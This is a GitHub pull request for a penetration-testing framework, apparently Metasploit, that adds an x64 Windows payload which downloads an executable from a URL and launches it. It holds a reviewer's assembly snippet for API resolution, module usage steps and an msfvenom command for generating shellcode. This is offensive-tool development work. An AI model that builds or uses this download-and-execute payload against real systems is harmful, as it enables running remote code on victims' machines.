-
Notifications
You must be signed in to change notification settings - Fork 14.3k
Converted the download_exec windows payload to support x64 (Fixes Issue #12876) #19988
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Ensured the URI matches the supported schemes, if not a "Invalid URL" error will print and return null
Simply fixed the tab indenting at the EOF
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @its-mr-monday,
I have tried the payload but is crashing and I have addressed just couple of issues:
- the block api is stored in
rbp
but then[rbp-0x80]
is used which cause a segfault. - the register to store the
block_api_hash
for block-api x64 isr10d
I didn't look for other errors but even correcting the two mentioned issues on the whole payload code it's still crashing.
I am leaving here just a sample of correct api calling.
start:
pop rbp
load_wininet:
sub rsp, 32
mov rcx, 0x0074656e696e6977 ; "wininet"
push rcx
push rsp
mov rcx, rsp
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp
Fixes #12876
The commit used the windows download_exec payload as a reference (x86), I figured that it would be useful to other operators to have a x64 variant of the payload
Verification
Its a simple drop in place payload, copy it over to the payloads/singles/windows/x64 directory and in my case run:
reload_all
From here you should have the payload loaded, to generate a sample you may run:
use payload/windows/x64/download_exec
set EXE <executable name to drop on disk>
set URL <endpoint of hosted PE file>
(OPTIONAL) set EXITFUNC <seh/thread/process/none>
generate
The module does not exploit anything, it simply drops a PE file on disk and calls CreateProcessA to spawn a process
Here is an example usage:
You may also use it with msfvenom to generate shellcode:
msfvenom -p windows/x64/download_exec -f <output_fmt> EXE=<executable> URL=<url> EXITFUNC=<exitfunc>